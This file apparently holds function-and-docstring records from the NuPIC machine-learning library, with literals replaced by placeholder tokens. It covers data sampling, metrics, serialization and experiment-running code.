{"signature": "def sample(reader, writer, n, start=None, stop=None, tsCol=None,<EOL>writeSampleOnly=True):", "body": "rows = list(reader)<EOL>if tsCol is not None:<EOL><INDENT>ts = rows[<NUM_LIT:0>][tsCol]<EOL>inc = rows[<NUM_LIT:1>][tsCol] - ts<EOL><DEDENT>if start is None:<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>if stop is None:<EOL><INDENT>stop = len(rows) - <NUM_LIT:1><EOL><DEDENT>initialN = stop - start + <NUM_LIT:1><EOL>numDeletes =  initialN - n<EOL>for i in range(numDeletes):<EOL><INDENT>delIndex = random.randint(start, stop - i)<EOL>del rows[delIndex]<EOL><DEDENT>if writeSampleOnly:<EOL><INDENT>rows = rows[start:start + n]<EOL><DEDENT>if tsCol is not None:<EOL><INDENT>ts = rows[<NUM_LIT:0>][tsCol]<EOL><DEDENT>for row in rows:<EOL><INDENT>if tsCol is not None:<EOL><INDENT>row[tsCol] = ts<EOL>ts += inc<EOL><DEDENT>writer.appendRecord(row)<EOL><DEDENT>", "docstring": "Samples n rows.\n\n    Args:\n      reader: A FileRecordStream object with input data.\n      writer: A FileRecordStream object to write output data to.\n      n: The number of elements to sample.\n      start: The first row in the range to sample from.\n      stop: The last row in the range to sample from.\n      tsCol: If specified, the timestamp column to update.\n      writeSampleOnly: If False, the rows before start are written before the\n          sample and the rows after stop are written after the sample.", "id": "f17661:m3"}
{"signature": "def __init__(self):", "body": "", "docstring": "A distribution is a set of values with certain statistical properties\n\n        Methods/properties that must be implemented by subclasses\n        - getNext() -- Returns the next value for the distribution\n        - getData(n) -- Returns n values for the distribution\n        - getDescription() -- Returns a dict of parameters pertinent to the\n          distribution, if any as well as state variables.", "id": "f17663:c0:m0"}
{"signature": "def getNext(self):", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Returns the next value of the disribution using knowledge about the\n        current state of the distribution as stored in numValues.", "id": "f17663:c0:m1"}
{"signature": "def getData(self, n):", "body": "records = [self.getNext() for x in range(n)]<EOL>return records<EOL>", "docstring": "Returns the next n values for the distribution as a list.", "id": "f17663:c0:m2"}
{"signature": "def getDescription(self):", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Returns a dict of parameters pertinent to the distribution (if any) as\n        well as state variables such as numValues.", "id": "f17663:c0:m3"}
{"signature": "def _cacheSequenceInfoType(self):", "body": "hasReset = self.resetFieldName is not None<EOL>hasSequenceId = self.sequenceIdFieldName is not None<EOL>if hasReset and not hasSequenceId:<EOL><INDENT>self._sequenceInfoType = self.SEQUENCEINFO_RESET_ONLY<EOL>self._prevSequenceId = <NUM_LIT:0><EOL><DEDENT>elif not hasReset and hasSequenceId:<EOL><INDENT>self._sequenceInfoType = self.SEQUENCEINFO_SEQUENCEID_ONLY<EOL>self._prevSequenceId = None<EOL><DEDENT>elif hasReset and hasSequenceId:<EOL><INDENT>self._sequenceInfoType = self.SEQUENCEINFO_BOTH<EOL><DEDENT>else:<EOL><INDENT>self._sequenceInfoType = self.SEQUENCEINFO_NONE<EOL><DEDENT>", "docstring": "Figure out whether reset, sequenceId,\n        both or neither are present in the data.\n        Compute once instead of every time.\n\n        Taken from filesource.py", "id": "f17664:c0:m1"}
{"signature": "def shift(self, modelResult):", "body": "inferencesToWrite = {}<EOL>if self._inferenceBuffer is None:<EOL><INDENT>maxDelay = InferenceElement.getMaxDelay(modelResult.inferences)<EOL>self._inferenceBuffer = collections.deque(maxlen=maxDelay + <NUM_LIT:1>)<EOL><DEDENT>self._inferenceBuffer.appendleft(copy.deepcopy(modelResult.inferences))<EOL>for inferenceElement, inference in modelResult.inferences.iteritems():<EOL><INDENT>if isinstance(inference, dict):<EOL><INDENT>inferencesToWrite[inferenceElement] = {}<EOL>for key, _ in inference.iteritems():<EOL><INDENT>delay = InferenceElement.getTemporalDelay(inferenceElement, key)<EOL>if len(self._inferenceBuffer) > delay:<EOL><INDENT>prevInference = self._inferenceBuffer[delay][inferenceElement][key]<EOL>inferencesToWrite[inferenceElement][key] = prevInference<EOL><DEDENT>else:<EOL><INDENT>inferencesToWrite[inferenceElement][key] = None<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>delay = InferenceElement.getTemporalDelay(inferenceElement)<EOL>if len(self._inferenceBuffer) > delay:<EOL><INDENT>inferencesToWrite[inferenceElement] = (<EOL>self._inferenceBuffer[delay][inferenceElement])<EOL><DEDENT>else:<EOL><INDENT>if type(inference) in (list, tuple):<EOL><INDENT>inferencesToWrite[inferenceElement] = [None] * len(inference)<EOL><DEDENT>else:<EOL><INDENT>inferencesToWrite[inferenceElement] = None<EOL><DEDENT><DEDENT><DEDENT><DEDENT>shiftedResult = ModelResult(rawInput=modelResult.rawInput,<EOL>sensorInput=modelResult.sensorInput,<EOL>inferences=inferencesToWrite,<EOL>metrics=modelResult.metrics,<EOL>predictedFieldIdx=modelResult.predictedFieldIdx,<EOL>predictedFieldName=modelResult.predictedFieldName)<EOL>return shiftedResult<EOL>", "docstring": "Shift the model result and return the new instance.\n\n        Queues up the T(i+1) prediction value and emits a T(i)\n        input/prediction pair, if possible. E.g., if the previous T(i-1)\n        iteration was learn-only, then we would not have a T(i) prediction in our\n        FIFO and would not be able to emit a meaningful input/prediction pair.\n\n        :param modelResult: A :class:`~.nupic.frameworks.opf.opf_utils.ModelResult`\n                            instance to shift.\n        :return: A :class:`~.nupic.frameworks.opf.opf_utils.ModelResult` instance that\n                 has been shifted", "id": "f17665:c0:m1"}
{"signature": "def validate(value, **kwds):", "body": "assert len(list(kwds.keys())) >= <NUM_LIT:1><EOL>assert '<STR_LIT>' in kwds or '<STR_LIT>' in kwds<EOL>schemaDict = None<EOL>if '<STR_LIT>' in kwds:<EOL><INDENT>schemaPath = kwds.pop('<STR_LIT>')<EOL>schemaDict = loadJsonValueFromFile(schemaPath)<EOL><DEDENT>elif '<STR_LIT>' in kwds:<EOL><INDENT>schemaDict = kwds.pop('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>validictory.validate(value, schemaDict, **kwds)<EOL><DEDENT>except validictory.ValidationError as e:<EOL><INDENT>raise ValidationError(e)<EOL><DEDENT>", "docstring": "Validate a python value against json schema:\n    validate(value, schemaPath)\n    validate(value, schemaDict)\n\n    value:          python object to validate against the schema\n\n    The json schema may be specified either as a path of the file containing\n    the json schema or as a python dictionary using one of the\n    following keywords as arguments:\n      schemaPath:     Path of file containing the json schema object.\n      schemaDict:     Python dictionary containing the json schema object\n\n    Returns: nothing\n\n    Raises:\n            ValidationError when value fails json validation", "id": "f17666:m0"}
{"signature": "def loadJsonValueFromFile(inputFilePath):", "body": "with open(inputFilePath) as fileObj:<EOL><INDENT>value = json.load(fileObj)<EOL><DEDENT>return value<EOL>", "docstring": "Loads a json value from a file and converts it to the corresponding python\n    object.\n\n    inputFilePath:\n                    Path of the json file;\n\n    Returns:\n                    python value that represents the loaded json value", "id": "f17666:m1"}
{"signature": "@classmethod<EOL><INDENT>@abstractmethod<EOL>def getSchema(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "Get Cap'n Proto schema.\n\n..warning: This is an abstract method.  Per abc protocol, attempts to subclass\n           without overriding will fail.\n\n@returns Cap'n Proto schema", "id": "f17667:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>@abstractmethod<EOL>def read(cls, proto):<DEDENT>", "body": "pass<EOL>", "docstring": "Create a new object initialized from Cap'n Proto obj.\n\nNote: This is an abstract method.  Per abc protocol, attempts to subclass\nwithout overriding will fail.\n\n:param proto: Cap'n Proto obj\n:return: Obj initialized from proto", "id": "f17667:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def write(self, proto):<DEDENT>", "body": "pass<EOL>", "docstring": "Write obj instance to Cap'n Proto object\n\n.. warning: This is an abstract method.  Per abc protocol, attempts to\n            subclass without overriding will fail.\n\n:param proto: Cap'n Proto obj", "id": "f17667:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def readFromFile(cls, f, packed=True):<DEDENT>", "body": "<EOL>schema = cls.getSchema()<EOL>if packed:<EOL><INDENT>proto = schema.read_packed(f)<EOL><DEDENT>else:<EOL><INDENT>proto = schema.read(f)<EOL><DEDENT>return cls.read(proto)<EOL>", "docstring": "Read serialized object from file.\n\n:param f: input file\n:param packed: If true, will assume content is packed\n:return: first-class instance initialized from proto obj", "id": "f17667:c0:m3"}
{"signature": "def writeToFile(self, f, packed=True):", "body": "<EOL>schema = self.getSchema()<EOL>proto = schema.new_message()<EOL>self.write(proto)<EOL>if packed:<EOL><INDENT>proto.write_packed(f)<EOL><DEDENT>else:<EOL><INDENT>proto.write(f)<EOL><DEDENT>", "docstring": "Write serialized object to file.\n\n:param f: output file\n:param packed: If true, will pack contents.", "id": "f17667:c0:m4"}
{"signature": "def export(self):", "body": "graph = nx.MultiDiGraph()<EOL>regions = self.network.getRegions()<EOL>for idx in xrange(regions.getCount()):<EOL><INDENT>regionPair = regions.getByIndex(idx)<EOL>regionName = regionPair[<NUM_LIT:0>]<EOL>graph.add_node(regionName, label=regionName)<EOL><DEDENT>for linkName, link in self.network.getLinks():<EOL><INDENT>graph.add_edge(link.getSrcRegionName(),<EOL>link.getDestRegionName(),<EOL>src=link.getSrcOutputName(),<EOL>dest=link.getDestInputName())<EOL><DEDENT>return graph<EOL>", "docstring": "Exports a network as a networkx MultiDiGraph intermediate representation\nsuitable for visualization.\n\n:return: networkx MultiDiGraph", "id": "f17668:c0:m1"}
{"signature": "def render(self, renderer=DEFAULT_RENDERER):", "body": "renderer().render(self.export())<EOL>", "docstring": "Render network. Default is \n:class:`~nupic.frameworks.viz.dot_renderer.DotRenderer`.\n\n:param renderer: Constructor parameter to a \"renderer\" implementation.\n       Return value for which must have a \"render\" method that accepts a \n       single argument (a networkx graph instance).", "id": "f17668:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.supported_nodes = tuple(set(self.supported_nodes) -<EOL>self.blacklisted_nodes)<EOL>asteval.Interpreter.__init__(self, *args, **kwargs)<EOL>", "docstring": "Initialize interpreter with blacklisted nodes removed from supported\n        nodes.", "id": "f17675:c0:m0"}
{"signature": "def getModule(metricSpec):", "body": "metricName = metricSpec.metric<EOL>if metricName == '<STR_LIT>':<EOL><INDENT>return MetricRMSE(metricSpec)<EOL><DEDENT>if metricName == '<STR_LIT>':<EOL><INDENT>return MetricNRMSE(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricAAE(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricAccuracy(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricAveError(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricTrivial(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricTwoGram(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMovingMean(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMovingMode(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricNegAUC(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return CustomErrorMetric(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMultiStep(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMultiStepProbability(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMultiStepAAE(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMultiStepAveError(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricPassThruPrediction(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricAltMAPE(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMAPE(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricMulti(metricSpec)<EOL><DEDENT>elif metricName == '<STR_LIT>':<EOL><INDENT>return MetricNegativeLogLikelihood(metricSpec)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % metricName)<EOL><DEDENT>", "docstring": "Factory method to return an appropriate :class:`MetricsIface` module.\n\n- ``rmse``: :class:`MetricRMSE`\n- ``nrmse``: :class:`MetricNRMSE`\n- ``aae``: :class:`MetricAAE`\n- ``acc``: :class:`MetricAccuracy`\n- ``avg_err``: :class:`MetricAveError`\n- ``trivial``: :class:`MetricTrivial`\n- ``two_gram``: :class:`MetricTwoGram`\n- ``moving_mean``: :class:`MetricMovingMean`\n- ``moving_mode``: :class:`MetricMovingMode`\n- ``neg_auc``: :class:`MetricNegAUC`\n- ``custom_error_metric``: :class:`CustomErrorMetric`\n- ``multiStep``: :class:`MetricMultiStep`\n- ``ms_aae``: :class:`MetricMultiStepAAE`\n- ``ms_avg_err``: :class:`MetricMultiStepAveError`\n- ``passThruPrediction``: :class:`MetricPassThruPrediction`\n- ``altMAPE``: :class:`MetricAltMAPE`\n- ``MAPE``: :class:`MetricMAPE`\n- ``multi``: :class:`MetricMulti`\n- ``negativeLogLikelihood``: :class:`MetricNegativeLogLikelihood`\n\n:param metricSpec: (:class:`MetricSpec`) metric to find module for. \n       ``metricSpec.metric`` must be in the list above.\n\n:returns: (:class:`AggregateMetric`) an appropriate metric module", "id": "f17676:m0"}
{"signature": "def getLabel(self, inferenceType=None):", "body": "result = []<EOL>if inferenceType is not None:<EOL><INDENT>result.append(InferenceType.getLabel(inferenceType))<EOL><DEDENT>result.append(self.inferenceElement)<EOL>result.append(self.metric)<EOL>params = self.params<EOL>if params is not None:<EOL><INDENT>sortedParams= list(params.keys())<EOL>sortedParams.sort()<EOL>for param in sortedParams:<EOL><INDENT>if param in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>value = params[param]<EOL>if isinstance(value, str):<EOL><INDENT>result.extend([\"<STR_LIT>\"% (param, value)])<EOL><DEDENT>else:<EOL><INDENT>result.extend([\"<STR_LIT>\"% (param, value)])<EOL><DEDENT><DEDENT><DEDENT>if self.field:<EOL><INDENT>result.append(\"<STR_LIT>\"% (self.field) )<EOL><DEDENT>return self._LABEL_SEPARATOR.join(result)<EOL>", "docstring": "Helper method that generates a unique label for a :class:`MetricSpec` / \n:class:`~nupic.frameworks.opf.opf_utils.InferenceType` pair. The label is \nformatted as follows:\n\n::\n\n    <predictionKind>:<metric type>:(paramName=value)*:field=<fieldname>\n\nFor example:\n\n:: \n\n    classification:aae:paramA=10.2:paramB=20:window=100:field=pounds\n\n:returns: (string) label for inference type", "id": "f17676:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def getInferenceTypeFromLabel(cls, label):<DEDENT>", "body": "infType, _, _= label.partition(cls._LABEL_SEPARATOR)<EOL>if not InferenceType.validate(infType):<EOL><INDENT>return None<EOL><DEDENT>return infType<EOL>", "docstring": "Extracts the PredictionKind (temporal vs. nontemporal) from the given\nmetric label.\n\n:param label: (string) for a metric spec generated by \n       :meth:`getMetricLabel`\n\n:returns: (:class:`~nupic.frameworks.opf.opf_utils.InferenceType`)", "id": "f17676:c0:m3"}
{"signature": "def __init__(self, windowSize = None):", "body": "self._windowSize = windowSize<EOL>self._countDict = dict()<EOL>self._history = deque([])<EOL>", "docstring": ":param windowSize:             The number of values that are used to compute the\n                        moving average", "id": "f17676:c1:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def addInstance(self, groundTruth, prediction, record = None, result = None):<DEDENT>", "body": "", "docstring": "Add one instance consisting of ground truth and a prediction.\n\n:param groundTruth:\n  The actual measured value at the current timestep\n\n:param prediction:\n  The value predicted by the network at the current timestep\n\n:param record: the raw input record as fed to \n       :meth:`~nupic.frameworks.opf.model.Model.run` by the user. The \n       typical usage is to feed a record to that method and get a \n       :class:`~nupic.frameworks.opf.opf_utils.ModelResult`. Then you pass \n       :class:`~nupic.frameworks.opf.opf_utils.ModelResult`.rawInput into \n       this function as the record parameter.\n\n:param result: (:class:`~nupic.frameworks.opf.opf_utils.ModelResult`) the\n       result of running a row of data through an OPF model\n\n:returns:\n    The average error as computed over the metric's window size", "id": "f17676:c2:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def getMetric(self):<DEDENT>", "body": "", "docstring": "``stats`` is expected to contain further information relevant to the given \nmetric, for example the number of timesteps represented in the current \nmeasurement. All stats are implementation defined, and ``stats`` can be \n``None``.\n\n:returns: (dict) representing data from the metric\n   ::\n\n       {value : <current measurement>, \"stats\" : {<stat> : <value> ...}}", "id": "f17676:c2:m2"}
{"signature": "def accumulate(self, groundTruth, prediction, accumulatedError, historyBuffer, result):", "body": "", "docstring": "Updates the accumulated error given the prediction and the\nground truth.\n\n:param groundTruth: Actual value that is observed for the current timestep\n\n:param prediction: Value predicted by the network for the given timestep\n\n:param accumulatedError: The total accumulated score from the previous\n       predictions (possibly over some finite window)\n\n:param historyBuffer: A buffer of the last <self.window> ground truth values\n       that have been observed.\n\n       If historyBuffer = None,  it means that no history is being kept.\n\n:param result: An ModelResult class (see opf_utils.py), used for advanced\n       metric calculation (e.g., MetricNegativeLogLikelihood)\n\n:returns: The new accumulated error. That is:\n\n    .. code-block:: python\n\n       self.accumulatedError = self.accumulate(\n         groundTruth, predictions, accumulatedError\n       )\n\n    ``historyBuffer`` should also be updated in this method.\n    ``self.spec.params[\"window\"]`` indicates the maximum size of the window.", "id": "f17676:c3:m0"}
{"signature": "def aggregate(self, accumulatedError, historyBuffer, steps):", "body": "", "docstring": "Updates the final aggregated score error given the prediction and the ground \ntruth.\n\n:param accumulatedError: The total accumulated score from the previous\n       predictions (possibly over some finite window)\n\n:param historyBuffer: A buffer of the last <self.window> ground truth values\n       that have been observed. If ``historyBuffer`` = None,  it means that \n       no history is being kept.\n\n:param steps: (int) The total number of (groundTruth, prediction) pairs that \n       have been passed to the metric. This does not include pairs where \n       ``groundTruth = SENTINEL_VALUE_FOR_MISSING_DATA``\n\n:returns: The new aggregate (final) error measure.", "id": "f17676:c3:m1"}
{"signature": "def __init__(self, metricSpec):", "body": "<EOL>self.id = None<EOL>self.verbosity = <NUM_LIT:0><EOL>self.window = -<NUM_LIT:1><EOL>self.history = None<EOL>self.accumulatedError = <NUM_LIT:0><EOL>self.aggregateError = None<EOL>self.steps = <NUM_LIT:0><EOL>self.spec = metricSpec<EOL>self.disabled = False<EOL>self._predictionSteps = [<NUM_LIT:0>]<EOL>self._groundTruthHistory = deque([])<EOL>self._subErrorMetrics = None<EOL>self._maxRecords = None<EOL>if metricSpec is not None and metricSpec.params is not None:<EOL><INDENT>self.id = metricSpec.params.get('<STR_LIT:id>', None)<EOL>self._predictionSteps = metricSpec.params.get('<STR_LIT>', [<NUM_LIT:0>])<EOL>if not hasattr(self._predictionSteps, '<STR_LIT>'):<EOL><INDENT>self._predictionSteps = [self._predictionSteps]<EOL><DEDENT>self.verbosity = metricSpec.params.get('<STR_LIT>', <NUM_LIT:0>)<EOL>self._maxRecords = metricSpec.params.get('<STR_LIT>', None)<EOL>if '<STR_LIT>' in metricSpec.params:<EOL><INDENT>assert metricSpec.params['<STR_LIT>'] >= <NUM_LIT:1><EOL>self.history = deque([])<EOL>self.window = metricSpec.params['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in metricSpec.params:<EOL><INDENT>self._subErrorMetrics = []<EOL>for step in self._predictionSteps:<EOL><INDENT>subSpec = copy.deepcopy(metricSpec)<EOL>subSpec.params.pop('<STR_LIT>', None)<EOL>subSpec.params.pop('<STR_LIT>')<EOL>subSpec.metric = metricSpec.params['<STR_LIT>']<EOL>self._subErrorMetrics.append(getModule(subSpec))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Initialize this metric\n\n        If the params contains the key 'errorMetric', then that is the name of\n        another metric to which we will pass a modified groundTruth and prediction\n        to from our addInstance() method. For example, we may compute a moving mean\n        on the groundTruth and then pass that to the AbsoluteAveError metric", "id": "f17676:c3:m2"}
{"signature": "def _getShiftedGroundTruth(self, groundTruth):", "body": "<EOL>self._groundTruthHistory.append(groundTruth)<EOL>assert (len(self._predictionSteps) == <NUM_LIT:1>)<EOL>if len(self._groundTruthHistory) > self._predictionSteps[<NUM_LIT:0>]:<EOL><INDENT>return self._groundTruthHistory.popleft()<EOL><DEDENT>else:<EOL><INDENT>if hasattr(groundTruth, '<STR_LIT>'):<EOL><INDENT>return [None] * len(groundTruth)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "Utility function that saves the passed in groundTruth into a local\n        history buffer, and returns the groundTruth from self._predictionSteps ago,\n        where self._predictionSteps is defined by the 'steps' parameter.\n        This can be called from the beginning of a derived class's addInstance()\n        before it passes groundTruth and prediction onto accumulate().", "id": "f17676:c3:m3"}
{"signature": "def addInstance(self, groundTruth, prediction, record = None, result = None):", "body": "self.value = self.avg(prediction)<EOL>", "docstring": "Compute and store metric value", "id": "f17676:c10:m1"}
{"signature": "def getMetric(self):", "body": "return {\"<STR_LIT:value>\": self.value}<EOL>", "docstring": "Return the metric value", "id": "f17676:c10:m2"}
{"signature": "def mostLikely(self, pred):", "body": "if len(pred) == <NUM_LIT:1>:<EOL><INDENT>return list(pred.keys())[<NUM_LIT:0>]<EOL><DEDENT>mostLikelyOutcome = None<EOL>maxProbability = <NUM_LIT:0><EOL>for prediction, probability in list(pred.items()):<EOL><INDENT>if probability > maxProbability:<EOL><INDENT>mostLikelyOutcome = prediction<EOL>maxProbability = probability<EOL><DEDENT><DEDENT>return mostLikelyOutcome<EOL>", "docstring": "Helper function to return a scalar value representing the most\n            likely outcome given a probability distribution", "id": "f17676:c12:m7"}
{"signature": "def expValue(self, pred):", "body": "if len(pred) == <NUM_LIT:1>:<EOL><INDENT>return list(pred.keys())[<NUM_LIT:0>]<EOL><DEDENT>return sum([x*p for x,p in list(pred.items())])<EOL>", "docstring": "Helper function to return a scalar value representing the expected\n            value of a probability distribution", "id": "f17676:c12:m8"}
{"signature": "def accumulate(self, groundTruth, prediction, accumulatedError, historyBuffer, result = None):", "body": "<EOL>if self.disabled:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if historyBuffer is not None:<EOL><INDENT>historyBuffer.append((groundTruth, prediction[<NUM_LIT:0>]))<EOL>if len(historyBuffer) > self.spec.params[\"<STR_LIT>\"] :<EOL><INDENT>historyBuffer.popleft()<EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Accumulate history of groundTruth and \"prediction\" values.\n\nFor this metric, groundTruth is the actual category and \"prediction\" is a\ndict containing one top-level item with a key of 0 (meaning this is the\n0-step classificaton) and a value which is another dict, which contains the\nprobability for each category as output from the classifier. For example,\nthis is what \"prediction\" would be if the classifier said that category 0\nhad a 0.6 probability and category 1 had a 0.4 probability: {0:0.6, 1: 0.4}", "id": "f17676:c18:m0"}
{"signature": "def __init__(self, metricSpec):", "body": "raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>", "docstring": "MetricMulti constructor using metricSpec is not allowed.", "id": "f17676:c21:m0"}
{"signature": "def __init__(self, weights, metrics, window=None):", "body": "if (weights is None or not isinstance(weights, list) or<EOL>not len(weights) > <NUM_LIT:0> or<EOL>not isinstance(weights[<NUM_LIT:0>], float)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.weights = weights<EOL>if (metrics is None or not isinstance(metrics, list) or<EOL>not len(metrics) > <NUM_LIT:0> or<EOL>not isinstance(metrics[<NUM_LIT:0>], MetricsIface)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.metrics = metrics<EOL>if window is not None:<EOL><INDENT>self.movingAvg = MovingAverage(windowSize=window)<EOL><DEDENT>else:<EOL><INDENT>self.movingAvg = None<EOL><DEDENT>", "docstring": "MetricMulti\n           @param weights - [list of floats] used as weights\n           @param metrics - [list of submetrics]\n           @param window - (opt) window size for moving average, or None when disabled", "id": "f17676:c21:m1"}
{"signature": "def htmPredictionModelControlEnableSPLearningCb(htmPredictionModel):", "body": "assert isinstance(htmPredictionModel, HTMPredictionModel)<EOL>htmPredictionModel._getSPRegion().setParameter('<STR_LIT>', True)<EOL>return<EOL>", "docstring": "Enables learning in the HTMPredictionModel's Spatial Pooler\n\n    See also htmPredictionModelControlDisableSPLearningCb.\n\n    htmPredictionModel:  pointer to a HTMPredictionModel instance\n\n    Returns: nothing", "id": "f17677:m0"}
{"signature": "def htmPredictionModelControlDisableSPLearningCb(htmPredictionModel):", "body": "assert isinstance(htmPredictionModel, HTMPredictionModel)<EOL>htmPredictionModel._getSPRegion().setParameter('<STR_LIT>', False)<EOL>return<EOL>", "docstring": "Disables learning in the HTMPredictionModel's Spatial Pooler, while\n    retaining the ability to re-enable SP learning in the future.\n\n    See also: htmPredictionModelControlEnableSPLearningCb.\n    See also: model_callbacks.modelControlFinishLearningCb.\n\n    htmPredictionModel:  pointer to a HTMPredictionModel instance\n\n    Returns: nothing", "id": "f17677:m1"}
{"signature": "def htmPredictionModelControlEnableTPLearningCb(htmPredictionModel):", "body": "assert isinstance(htmPredictionModel, HTMPredictionModel)<EOL>htmPredictionModel._getTPRegion().setParameter('<STR_LIT>', True)<EOL>return<EOL>", "docstring": "Enables learning in the HTMPredictionModel's Temporal Pooler\n\n    See also htmPredictionModelControlDisableTPLearningCb.\n\n    htmPredictionModel:  pointer to a HTMPredictionModel instance\n\n    Returns: nothing", "id": "f17677:m2"}
{"signature": "def htmPredictionModelControlDisableTPLearningCb(htmPredictionModel):", "body": "assert isinstance(htmPredictionModel, HTMPredictionModel)<EOL>htmPredictionModel._getTPRegion().setParameter('<STR_LIT>', False)<EOL>return<EOL>", "docstring": "Disables learning in the HTMPredictionModel's Temporal Pooler, while\n    retaining the ability to re-enable TM learning in the future.\n\n    See also: htmPredictionModelControlEnableTPLearningCb.\n    See also: model_callbacks.modelControlFinishLearningCb.\n\n    htmPredictionModel:  pointer to a HTMPredictionModel instance\n\n    Returns: nothing", "id": "f17677:m3"}
{"signature": "def __init__(self, filePath):", "body": "self.__filePath = filePath<EOL>return<EOL>", "docstring": "filePath: path of file where SP __init__ args are to be saved", "id": "f17677:c0:m0"}
{"signature": "def __init__(self, filePath):", "body": "self.__filePath = filePath<EOL>return<EOL>", "docstring": "filePath: path of file where TM __init__ args are to be saved", "id": "f17677:c1:m0"}
{"signature": "def runExperiment(args, model=None):", "body": "<EOL>opt = _parseCommandLineOptions(args)<EOL>model = _runExperimentImpl(opt, model)<EOL>return model<EOL>", "docstring": "Run a single OPF experiment.\n\n.. note:: The caller is responsible for initializing python logging before\n   calling this function (e.g., import :mod:`nupic.support`;\n   :meth:`nupic.support.initLogging`)\n\nSee also: :meth:`.initExperimentPrng`.\n\n:param args: (string) Experiment command-line args list. Too see all options,\n    run with ``--help``:\n\n    .. code-block:: text\n\n      Options:\n        -h, --help           show this help message and exit\n        -c <CHECKPOINT>      Create a model and save it under the given <CHECKPOINT>\n                             name, but don't run it\n        --listCheckpoints    List all available checkpoints\n        --listTasks          List all task labels in description.py\n        --load=<CHECKPOINT>  Load a model from the given <CHECKPOINT> and run it.\n                             Run with --listCheckpoints flag for more details.\n        --newSerialization   Use new capnproto serialization\n        --tasks              Run the tasks with the given TASK LABELS in the order\n                             they are given.  Either end of arg-list, or a\n                             standalone dot ('.') arg or the next short or long\n                             option name (-a or --blah) terminates the list. NOTE:\n                             FAILS TO RECOGNIZE task label names with one or more\n                             leading dashes. [default: run all of the tasks in\n                             description.py]\n        --testMode           Reduce iteration count for testing\n        --noCheckpoint       Don't checkpoint the model after running each task.\n\n:param model: (:class:`~nupic.frameworks.opf.model.Model`) For testing, may\n    pass in an existing OPF Model to use instead of creating a new one.\n\n:returns: (:class:`~nupic.frameworks.opf.model.Model`)\n  reference to OPF Model instance that was constructed (this\n  is provided to aid with debugging) or None, if none was\n  created.", "id": "f17678:m0"}
{"signature": "def initExperimentPrng():", "body": "seed = <NUM_LIT><EOL>random.seed(seed)<EOL>numpy.random.seed(seed)<EOL>", "docstring": "Initialize PRNGs that may be used by other modules in the experiment stack.\n\n    .. note:: User may call this function to initialize PRNGs that are used by the\n       experiment stack before calling runExperiment(), unless user has its own\n       own logic for initializing these PRNGs.", "id": "f17678:m1"}
